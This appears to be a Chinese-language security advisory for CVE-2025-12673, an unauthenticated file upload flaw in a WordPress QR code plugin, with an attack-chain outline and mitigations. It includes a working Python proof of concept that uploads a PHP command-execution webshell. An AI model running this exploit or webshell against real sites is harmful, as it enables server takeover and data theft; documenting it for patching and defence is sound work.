IPBUF安全漏洞报告
English
CVE-2025-12673 CVSS 9.8 严重

CVE-2025-12673 WordPress Flex QR Code Generator任意文件上传漏洞

披露日期: 2025-12-06

漏洞信息

漏洞编号
CVE-2025-12673
漏洞类型
任意文件上传
CVSS评分
9.8 严重
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Flex QR Code Generator (WordPress插件)

相关标签

任意文件上传远程代码执行WordPress插件漏洞Flex QR Code GeneratorCVE-2025-12673webshell无认证利用

漏洞概述

Flex QR Code Generator是WordPress平台上一款流行的二维码生成插件,在全球范围内有大量安装使用。该插件在1.2.7及以下所有版本中存在严重的任意文件上传漏洞,漏洞位于update_qr_code()函数中。由于该函数缺少对上传文件类型的有效验证,未经身份验证的远程攻击者可以向目标服务器上传任意文件类型,包括恶意PHP脚本和webshell。成功利用此漏洞可导致远程代码执行,使攻击者完全控制受影响的WordPress网站,窃取敏感数据、植入后门或进行进一步的内网渗透。此漏洞无需任何用户交互或认证,攻击门槛极低,CVSS评分高达9.8,属于紧急处理的安全事件。

技术细节

漏洞根源在于Flex QR Code Generator插件的update_qr_code()函数(第457行)未对用户上传的文件进行充分的类型验证。正常情况下,该函数应接收用户上传的QR码图片并保存到服务器指定目录,但开发者未实现MIME类型检测、文件扩展名白名单或文件内容签名验证等安全措施。攻击者可以通过构造恶意HTTP POST请求,直接将.php文件(webshell)作为QR码图片上传至服务器。由于WordPress插件目录通常具有可执行权限,上传的PHP文件可直接被Web服务器解析执行,从而实现远程代码执行。攻击者通常会上传包含system()、exec()等命令执行函数的PHP脚本,达成命令执行、数据库连接或文件管理等功能。漏洞影响插件所有版本至1.2.7,官方已在1.2.8版本中修复。

攻击链分析

STEP 1
步骤1: 信息收集
攻击者扫描目标WordPress网站,识别是否安装Flex QR Code Generator插件及其版本(<=1.2.7)
STEP 2
步骤2: 构造恶意请求
攻击者构造包含恶意PHP文件(webshell)的HTTP POST请求,利用update_qr_code()函数缺少文件类型验证的缺陷
STEP 3
步骤3: 上传webshell
通过/admin-ajax.php端点发送请求,将webshell以QR码图片形式上传至/wp-content/uploads/qr_codes/目录
STEP 4
步骤4: 远程代码执行
访问上传的webshell文件,通过GET参数执行任意系统命令,实现对服务器的控制
STEP 5
步骤5: 持久化控制
攻击者可植入后门、窃取数据库凭证、修改网站内容或横向移动至内网其他系统

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import sys # CVE-2025-12673 PoC - Flex QR Code Generator Arbitrary File Upload # Target: WordPress site with Flex QR Code Generator plugin <= 1.2.7 target_url = sys.argv[1] if len(sys.argv) > 1 else 'http://target.com' # PHP webshell content webshell = "<?php if(isset($_GET['cmd'])){ system($_GET['cmd']); } ?>" # Construct multipart form data files = { 'qr_code_image': ('shell.php', webshell, 'image/png') } # Send upload request to vulnerable endpoint url = f"{target_url}/wp-admin/admin-ajax.php" data = { 'action': 'update_qr_code', 'security': '任意值' } try: response = requests.post(url, data=data, files=files, timeout=10) if response.status_code == 200: print('[+] File uploaded successfully!') print(f'[+] Webshell location: {target_url}/wp-content/uploads/qr_codes/shell.php?cmd=whoami') else: print('[-] Upload failed') except requests.exceptions.RequestException as e: print(f'[-] Error: {e}')

影响范围

Flex QR Code Generator <= 1.2.7

防御指南

临时缓解措施
如果无法立即升级插件,可采取以下临时措施:1) 临时禁用Flex QR Code Generator插件;2) 通过.htaccess或nginx配置禁用/wp-content/uploads/qr_codes/目录下PHP文件执行;3) 使用WordPress安全插件限制未授权用户访问admin-ajax.php接口;4) 监控web日志关注异常的POST请求特征。同时建议检查服务器是否存在已上传的恶意文件。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表